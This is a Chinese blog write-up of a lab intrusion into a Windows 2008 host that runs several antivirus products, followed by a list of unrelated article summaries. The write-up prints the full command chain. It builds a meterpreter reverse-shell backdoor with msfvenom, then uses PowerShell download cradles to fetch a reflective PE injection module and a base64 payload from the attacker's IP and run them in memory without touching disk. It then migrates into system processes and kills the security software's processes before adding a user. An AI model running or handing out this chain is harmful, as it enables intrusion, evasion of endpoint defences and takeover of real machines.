记一次PowerShell配合Metersploit的艰难提权

简介: 记一次PowerShell配合Metersploit的艰难提权

感谢群友@Erikten投稿 。这篇文章中还是存在有一些亮点,仔细看,相信你能发现!


0x01 环境准备

kali(模拟公网攻击机)

Windows2008(靶机,装有360、火绒、安全狗、D盾)

Powersploit(PowerShell攻击框架)

https://github.com/PowerShellMafia/PowerSploit


0x02 尝试落地payload

首先msfvenom生成exe后门程序

    msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe lhost=192.168.192.119 lport=6666 -o ./6666.exe


    Python3开启http下载服务

      python3 -m http.server


      msf开启监听

      执行powershell命令时被火绒拦截

        (New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/6666.exe")

        0x03 PowerShell内存执行exe

        这也是现在红军非常流行的攻击手法,payload在内存中加载执行,也就是所谓的文件不落地,大致分以下几步

        • 先将生成的payload在本地进行base64编码
        • 靶机执行远程下载命令
        • 靶机对payload进行解码并赋值给一个变量
        • PowerShell远程加载Invoke-ReflectivePEInjection模块(PE反射注入)并执行payload


        本地编码payload

        PowerShell下执行

          function Convert-BinaryToString {
            [CmdletBinding()] param (
              [string] $FilePath
              )
              try {
                $ByteArray = [System.IO.File]::ReadAllBytes($FilePath); 
                }
                catch {
                  throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
                  } 
                  if ($ByteArray) {
                    $Base64String = [System.Convert]::ToBase64String($ByteArray);
                  }
                  else {
                    throw '$ByteArray is $null.'; 
                    } 
                  Write-Output -InputObject $Base64String;
                }
          Convert-BinaryToString C:\6666.exe > C:\res.txt


          将res.txt放置到kali中的下载服务目录,供靶机加载

          接下来远程加载Powersploit的PE反射模块

            iex(New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/Invoke-ReflectivePEInjection.ps1")


            继续加载base64编码后的payload,赋值给一个变量

              $b64Str = (New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/res.txt")


              靶机解码payload

                $PEBytes = [System.Convert]::FromBase64String($InputString)


                反射调用

                  Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR

                  msf成功上线,全程没有任何文件落地,比较成功地避开了杀软对磁盘的查杀

                  0x04 艰难的后渗透攻击

                  先看一下进程,Windows下,我个人比较中意svchost.exe这个进程,注入率比较高,而且又是system权限,先来试试吧

                    ps -ef | grep svchost.exe

                    成功提权

                      migrate 336

                      当我准备添加用户的时候,被360的ZhuDongFangYu.exe进程拦截,接下来就是想办法干掉360、火绒、D盾、安全狗的主动防御系统

                      0x05 Kill主动防御

                      因为现在是system权限,所以优先尝试kill、pkill这两条命令。经过fuzz,得出以下几点结论

                      • D盾可直接Kill掉
                      • 360、安全狗Kill掉后,30秒后会再次重启
                      • 火绒权限不够,无法直接Kil
                      meterpreter > pkill ZhuDongFangYu.exe 
                      Filtering on 'ZhuDongFangYu.exe' 
                      Killing: 6056 
                      meterpreter > pkill SafeDogGuardCenter.exe 
                      Filtering on 'SafeDogGuardCenter.exe' 
                      Killing: 5752 
                      meterpreter > pkill HipsTray.exe 
                      Filtering on 'HipsTray.exe' 
                      Killing: 7416 
                      [-] stdapi_sys_process_kill: Operation failed: Access is denied. 
                      meterpreter >
                      

                      0x06 单换杀软的男人

                      因为360的权限是比较高的,且我现在是system权限,就像尝试注入一下360的主动防御进程,竟然成功了!

                      这一下我直接好家伙,先把SafeDog干掉

                        ps -ef | Safe
                        pkill Safe

                        来靶机上看一下,发现安全狗的主进程都被干掉了,360还是狠啊

                        当我尝试杀死火绒的进程时,被火绒反杀了,也就是说,火绒把360的主动防御干掉了,可想而知它的权限得多大

                        重连一次shell后,我尝试注入360主动防御,杀死所有360的程序,成功拿下!

                        这时候还有一个ZhuDongFangYu.exe没杀,所以我们再注入回svchost.exe用它去杀死360的主动防御,这次杀死后就不会再生了,因为主程序已经被它干死了哈哈哈

                        现在就剩下火绒了,我进入shell,尝试用taskkill干掉他的时候,发现了一个有意思的提示

                        火绒的父进程是service.exe,那么如果我注入到service.exe中,用service.exe杀Hips*.exe不过分吧?老子打儿子总没毛病了吧?

                        结果让我很满意哈哈哈哈哈

                        成功添加用户,遗憾的是没有添加到管理员组,这次艰难的后渗透,就先到这儿吧

                        相关文章
                        |
                        自然语言处理 数据可视化 数据挖掘
                        带你飞上云端,轻松解析数据——gopup库详细解析--包含安装库教程
                        本文介绍了Python库gopup,它是一个用于轻松爬取互联网数据的工具,简化了数据收集和处理的过程。文章提供了gopup的安装教程,特别强调了安装时需注意setuptools版本,并给出了PyCharm和命令行两种安装方法。gopup库能获取包括指数、百度和谷歌数据等多种类型的数据。文中还展示了如何使用gopup获取微博指数和豆瓣新片榜数据,并通过代码示例呈现数据和图表。此外,文章提醒了使用时的风险和部分接口的失效情况,并提供了库文档链接以供深入学习。gopup库适用于数据可视化和数据分析,是进行文本挖掘和自然语言处理项目的理想工具。
                        1036 0
                        带你飞上云端,轻松解析数据——gopup库详细解析--包含安装库教程
                        |
                        8月前
                        |
                        人工智能 自然语言处理 搜索推荐
                        AI客服选型指南:2025年12月主流智能客服系统产品测评
                        随着企业数字化加速,智能客服正向全渠道、智能化、情感化演进,成为服务与增长双引擎。本文详解瓴羊Quick Service、智齿科技等主流厂商的核心优势与适用场景,并从需求匹配、智能化水平、集成能力等维度提供选型指南,展望情感计算、多模态交互与业务融合的未来趋势,助力企业高效决策。瓴羊 Quick Service 依托阿里巴巴20年服务运营经验与阿里云全球基础设施,为企业提供全渠道、全链路、全场景的智能客服解决方案,覆盖售前咨询、售中支持、售后维护全流程,适配零售、电商、汽车、互联网等多行业需求。
                        |
                        Ubuntu Linux Shell
                        github用存在的私钥在Linux上配置免密登录
                        在Linux上配置GitHub免密登录,使用已有的私钥。系统环境为Ubuntu 22.04.3 LTS。步骤包括:1) 将名为`github`的私钥文件上传至`~/.ssh/github`;2) 设置正确权限`chmod 600 ~/.ssh/github`和`chmod 700 ~/.ssh`;3) 启动SSH代理并添加私钥`ssh-agent -s`和`ssh-add ~/.ssh/github`。完成上述步骤后,可以无缝使用GitHub。
                        504 0
                        |
                        监控 安全 BI
                        10 种最常见的 Active Directory (AD) 攻击
                        Active Directory(AD)是组织信息管理的核心,但在身份验证与访问控制中也面临诸多攻击风险。本文总结了十大常见AD攻击类型,包括基于密码的攻击(暴力破解、密码喷洒)、NTLM认证攻击(哈希传递、中继攻击)、Kerberos认证攻击(Kerberoasting、银票、金票)、复制机制攻击(DCSync、DCShadow)以及勒索软件攻击等,并提供检测与防护建议。为强化AD安全,ManageEngine ADAudit Plus可有效分析威胁、生成报表,助力构建坚固的安全防线。
                        801 11
                        |
                        数据采集 Web App开发 搜索推荐
                        突破目标网站的反爬虫机制:Selenium策略分析
                        突破目标网站的反爬虫机制:Selenium策略分析
                        |
                        SQL 缓存 网络协议
                        网络信息安全实验 — 网络攻击技术实验(Kali系统,John、lc7、arpspoof、ettercap、SQL注入...)
                        本人深感网络安全实验有点麻烦,花了一个晚上弄了部分,特此将笔记贡献造福后人,个人能力有限,还会继续更新。。。 汇报题目:**15分钟教你用 Python 写一个 arpspoof**(课件准备ing,如果弄完后续补上) 第一次网络安全实验(密码学)也是我做的,这里先放个自制工具:[Java实现密码学工具,集成了对称加密算法DES,AES,IDEA,公开加密算法RSA,ECC,散列算法MD5,SHA1,CRC32,以及RSA,DSA,ECDSA数字签名验证示例。](https://blog.csdn.net/weixin_43734095/article/details/105303562)
                        2225 0
                        网络信息安全实验 — 网络攻击技术实验(Kali系统,John、lc7、arpspoof、ettercap、SQL注入...)
                        |
                        机器人 5G UED
                        一文详解运营商发布的“5G消息白皮书”
                        2020年4月8日中国移动、中国电信、中国联通携手华为、小米、vivo、OPPO、中兴等11家终端厂商联合发布了《5G消息白皮书》,用来`推动传统短消息服务升级`。 三大运营商联合发布的《5G消息白皮书》创造了一种怎样的商业模式,我们该如何理解《5G消息白皮书》?
                        2472 1
                        |
                        监控 安全 数据安全/隐私保护
                        |
                        机器学习/深度学习
                        一文看懂卷积运算(convolution)与互相关运算(cross-correlation)的区别
                        一文看懂卷积运算(convolution)与互相关运算(cross-correlation)的区别
                        |
                        开发框架 .NET API
                        在Windows Server 2008 R2上运行.Net 8应用
                        在Windows Server 2008 R2上成功运行.Net 8程序,需安装三个补丁:Windows Server 2008 R2 SP1 (KB976932)是基础更新;VC_redist.x64提供MSVC库支持;KB3063858解决.NET运行时加载`kernel.dll`的路径问题。KB3063858可能需要KB2533623。详细信息和下载链接在文中给出。
                        2180 4